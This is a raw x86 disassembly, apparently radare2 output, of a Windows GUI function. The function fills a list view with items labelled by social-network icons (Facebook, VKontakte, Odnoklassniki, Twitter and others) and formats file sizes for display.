push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [edi + 0x368]
mov dword [ebp - 0x28], ebx
mov eax, ebx
xor edx, edx
mov ecx, dword [ebp - 0x5c]
div ecx
mov esi, edx
mov eax, ebx
sub eax, esi
xor edx, edx
div ecx
mov ebx, eax
mov dword [ebp - 0xf4], ebx
test esi, esi
je 0x565a15
inc ebx
mov dword [ebp - 0xf4], ebx
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], eax
lea esi, [ebx - 1]
imul esi, ecx
mov dword [ebp - 0x34], esi
lea ecx, [edi + 0x318]
push ebx
call fcn.00527030
lea ecx, [edi + 0x318]
cmp byte [edi + 0x360], 0
jne 0x565a63
call fcn.00526870
mov esi, eax
mov eax, dword [ebp - 0x5c]
imul esi, eax
mov dword [ebp - 0x34], esi
lea ecx, [esi + eax - 1]
mov dword [ebp - 0x1c], ecx
mov byte [edi + 0x360], 1
jmp 0x565a69
push ebx
call fcn.00527170
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x28]
jl 0x565a77
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], eax
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xf0], ebx
cmp ebx, dword [edi + 0x368]
jae 0x5662a6
cmp eax, esi
jl 0x56629f
cmp eax, dword [ebp - 0x1c]
jg 0x56629f
mov ecx, 0x700724
mov edx, dword [0x700724]
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 0x36
mov byte [ebp - 4], 0x37
mov ecx, 0x700724
mov edx, dword [0x700724]
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xfc], eax
mov byte [ebp - 4], 0x38
mov byte [ebp - 4], 0x39
mov ecx, 0x700724
mov edx, dword [0x700724]
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x3a
mov byte [ebp - 4], 0x3b
mov edi, dword [ebp - 0x40]
push 0
push 1
push 0x1002
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov esi, eax
mov dword [ebp - 0x154], 0
push 0x30
push 0
lea edx, [ebp - 0x150]
push edx
call fcn.006100a0
add esp, 0xc
mov dword [ebp - 0x154], 6
mov dword [ebp - 0x134], ebx
add edi, 0x364
push ebx
mov ecx, edi
call fcn.0055ed40
movzx eax, byte [eax + 0x18]
dec eax
cmp eax, 7
ja case.default.0x565b62
jmp dword [eax*4 + 0x5663bc]
push 0x189
mov eax, dword [0x716738]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.myspace
jmp 0x565d5c
push 0x18b
mov edx, dword [0x716738]
push edx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.linkedin
jmp 0x565d5c
push 0x18a
mov ecx, dword [0x716738]
push ecx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.moikrug
jmp 0x565d5c
push 0x155
mov eax, dword [0x716738]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.vkontakte
jmp 0x565d5c
push 0x154
mov edx, dword [0x716738]
push edx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.facebook
jmp 0x565d5c
push 0x157
mov ecx, dword [0x716738]
push ecx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.odnoklassniki
jmp 0x565d5c
push 0x159
mov eax, dword [0x716738]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_DestroyIcon]
push str.twitter
jmp 0x565d5c
push 0x15c
mov edx, dword [0x716738]
push edx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0x67c458
jmp 0x565d5c
push 0x118
mov ecx, dword [0x716738]
push ecx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x14], eax
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x138], eax
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0x675dc8
lea ecx, [ebp - 0x30]
call fcn.00405830
lea eax, [ebp - 0x154]
push eax
push 0
push 0x104d
mov eax, dword [ebp - 0x40]
add eax, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [eax]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov esi, eax
push 0x66ef44
lea ecx, [ebp - 0x38]
call fcn.0040aab0
mov byte [ebp - 4], 0x3c
lea edx, [ebp - 0x38]
push edx
push ebx
mov ecx, edi
call fcn.0055ed40
add eax, 4
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.00428b00
add esp, 0xc
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x3d
push ebx
mov ecx, edi
call fcn.0055ed40
add eax, 8
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x3c]
push edx
call fcn.00428b00
add esp, 0xc
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xe8]
call fcn.004014a0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x38]
call fcn.004014a0
mov eax, dword [ebp - 0x3c]
push eax
push 1
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
push ebx
mov ecx, edi
call fcn.0055ed40
cmp dword [eax + 0x28], 0
je 0x565f9d
push 0x160
lea ecx, [ebp - 0x24]
call fcn.00407a60
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
push ebx
mov ecx, edi
call fcn.0055ed40
mov edx, dword [eax + 0x2c]
push edx
mov ecx, 0x714284
call fcn.0055ed70
push eax
lea ecx, [ebp - 0xac]
call fcn.0055f800
mov byte [ebp - 4], 0x41
mov eax, dword [ebp - 0x90]
push eax
push 2
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
mov ecx, 0x700724
mov edx, dword [0x700724]
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x42
mov byte [ebp - 4], 0x43
push 0x400
mov ecx, dword [ebp - 0x98]
push ecx
call fcn.00615734
add esp, 8
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
test eax, eax
jle 0x565f41
push 0x100000
mov edx, dword [ebp - 0x98]
push edx
call fcn.00615734
add esp, 8
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
fild dword [ebp - 0x98]
test eax, eax
jle 0x565f07
mov eax, dword [ebp - 0x98]
test eax, eax
jns 0x565edd
fadd dword [0x66f22c]
fmul qword [0x67c450]
fstp dword [ebp - 0x4c]
push 0x67c448
fld dword [ebp - 0x4c]
sub esp, 8
fstp qword [esp]
push str._.2f__s
lea ecx, [ebp - 0x48]
push ecx
call fcn.00405ab0
add esp, 0x14
jmp 0x565f5e
mov edx, dword [ebp - 0x98]
test edx, edx
jns 0x565f17
fadd dword [0x66f22c]
fmul qword [0x67c430]
fstp dword [ebp - 0x4c]
push 0x67c424
fld dword [ebp - 0x4c]
sub esp, 8
fstp qword [esp]
push str._.2f__s
lea eax, [ebp - 0x48]
push eax
call fcn.00405ab0
add esp, 0x14
jmp 0x565f5e
push str.bytes
mov ecx, dword [ebp - 0x98]
push ecx
push str._u__s
lea edx, [ebp - 0x48]
push edx
call fcn.00405ab0
add esp, 0x10
mov eax, dword [ebp - 0x48]
push eax
push 4
push esi
mov edi, dword [ebp - 0x14]
mov ecx, edi
call fcn.00417050
mov ecx, dword [ebp - 0x24]
push ecx
push 3
push esi
mov ecx, edi
call fcn.00417050
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x48]
call fcn.004014a0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0xac]
call fcn.004270e0
jmp 0x566260
push ebx
mov ecx, edi
call fcn.0055ed40
movzx eax, byte [eax]
dec eax
cmp eax, 8
ja case.default.0x565fae
jmp dword [eax*4 + 0x5663dc]
push ebx
mov ecx, edi
call fcn.0055ed40
lea ecx, [ebp - 0x24]
cmp byte [eax + 1], 0
jne 0x565fcd
push 0xbf
jmp 0x56600d
push 0xb9
jmp 0x56600d
push 0x156
jmp 0x56600a
push 0x146
jmp 0x56600a
push 0x158
jmp 0x56600a
push 0x15b
jmp 0x56600a
push 0x15c
jmp 0x56600a
push 0x157
jmp 0x56600a
push 0x161
jmp 0x56600a
push 0x162
lea ecx, [ebp - 0x24]
call fcn.00407a60
lea ecx, [ebp - 0x30]
call fcn.004014f0
mov dword [ebp - 0x140], eax
mov edx, dword [ebp - 0x30]
push edx
push 0
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
mov ecx, 0x700724
mov eax, dword [0x700724]
mov edx, dword [eax + 0xc]
call edx
add eax, 0x10
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x44
mov byte [ebp - 4], 0x45
push ebx
mov ecx, edi
call fcn.0055ed40
mov eax, dword [eax + 0x14]
lea ecx, [eax - 0x10]
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x2c]
add edx, 0xfffffff0
mov dword [ebp - 0x28], edx
cmp ecx, edx
je 0x566133
mov ecx, edx
cmp dword [ecx + 0xc], 0
jl 0x566126
mov edx, dword [ebp - 0x6c]
mov edx, dword [edx]
cmp edx, dword [ecx]
jne 0x566126
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [ebp - 0x6c]
add ecx, 0xc
cmp dword [ecx], 0
jl 0x5660b3
mov edx, dword [ebp - 0x6c]
cmp eax, dword [edx]
jne 0x5660b3
mov dword [ebp - 0x18], edx
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x5660fc
mov edx, dword [eax]
push 2
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx + 4]
push ecx
mov ecx, eax
mov edx, dword [edx]
call edx
mov dword [ebp - 0x18], eax
test eax, eax
jne 0x5660d0
call fcn.00404070
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 0x18]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 4]
lea edx, [ecx + ecx + 2]
push edx
add eax, 0x10
push eax
lea eax, [ecx + ecx + 2]
push eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x10
push ecx
call fcn.0060fbd3
add esp, 0x10
mov eax, dword [ebp - 0x28]
add eax, 0xc
or edx, 0xffffffff
lock xadd dword [eax], edx
dec edx
test edx, edx
jg 0x56611b
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x10
mov dword [ebp - 0x2c], ecx
jmp 0x566133
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401670
mov edx, dword [ebp - 0x2c]
push edx
push 2
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
mov eax, dword [ebp - 0x24]
push eax
push 3
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
push ebx
mov ecx, edi
call fcn.0055ed40
add eax, 0x10
push eax
lea ecx, [ebp - 0x44]
call fcn.00401450
mov byte [ebp - 4], 0x46
push 0x67c404
push 0x671784
lea ecx, [ebp - 0x44]
call fcn.004287f0
cmp dword [0x71476c], 0
jne 0x566239
mov ecx, dword [ebp - 0x44]
cmp dword [ecx - 0xc], 0x3c
jbe 0x566239
push 0x3c
lea edx, [ebp - 0xbc]
push edx
lea ecx, [ebp - 0x44]
call fcn.00414520
mov byte [ebp - 4], 0x47
push 0x674338
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.00428bb0
add esp, 0xc
mov byte [ebp - 4], 0x48
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
mov edi, dword [ebp - 0x44]
add edi, 0xfffffff0
cmp eax, edi
je 0x56621b
cmp dword [edi + 0xc], 0
jl 0x56620e
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x56620e
push eax
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x4c], eax
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x566203
mov ecx, dword [edi]
mov edx, dword [ecx]
push edi
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x4c]
add ecx, 0x10
mov dword [ebp - 0x44], ecx
jmp 0x56621b
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [ebp - 0x44]
call fcn.00401670
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0xdc]
call fcn.004014a0
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0xbc]
call fcn.004014a0
mov edx, dword [ebp - 0x44]
push edx
push 4
push esi
mov ecx, dword [ebp - 0x14]
call fcn.00417050
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x44]
call fcn.004014a0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x2c]
call fcn.004014a0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x3c]
call fcn.004014a0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x24]
call fcn.004014a0
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xfc]
call fcn.004014a0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x30]
call fcn.004014a0
mov eax, dword [ebp - 0xb8]
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x40]
inc eax
inc ebx
jmp 0x565a7b
mov dword [0x6f79d8], 1
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
lea ecx, [edi + 0x30]
call fcn.0055fd80
cmp dword [edi + 0x304], 0
je 0x566329
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 3
mov dword [ebp - 0x80], 2
push 3
lea edx, [ebp - 0x88]
push edx
mov ecx, edi
call fcn.004f7690
cmp byte [edi + 0x310], 0
sete al
movzx ecx, al
push ecx
mov edx, dword [edi + 0x30c]
push edx
mov ecx, edi
call fcn.00563830
movzx eax, byte [edi + 0x311]
push eax
mov ecx, dword [edi + 0x308]
push ecx
mov ecx, edi
call fcn.00563830
lea ecx, [edi + 0x318]
call fcn.00526890
lea ecx, [edi + 0x318]
call fcn.00526920
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x110]
call fcn.004f0ba0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x68]
call fcn.004014a0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x64]
call fcn.004014a0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20]
call fcn.004014a0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xd8]
call fcn.00561850
mov eax, dword [ebp - 0xb0]
wait
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret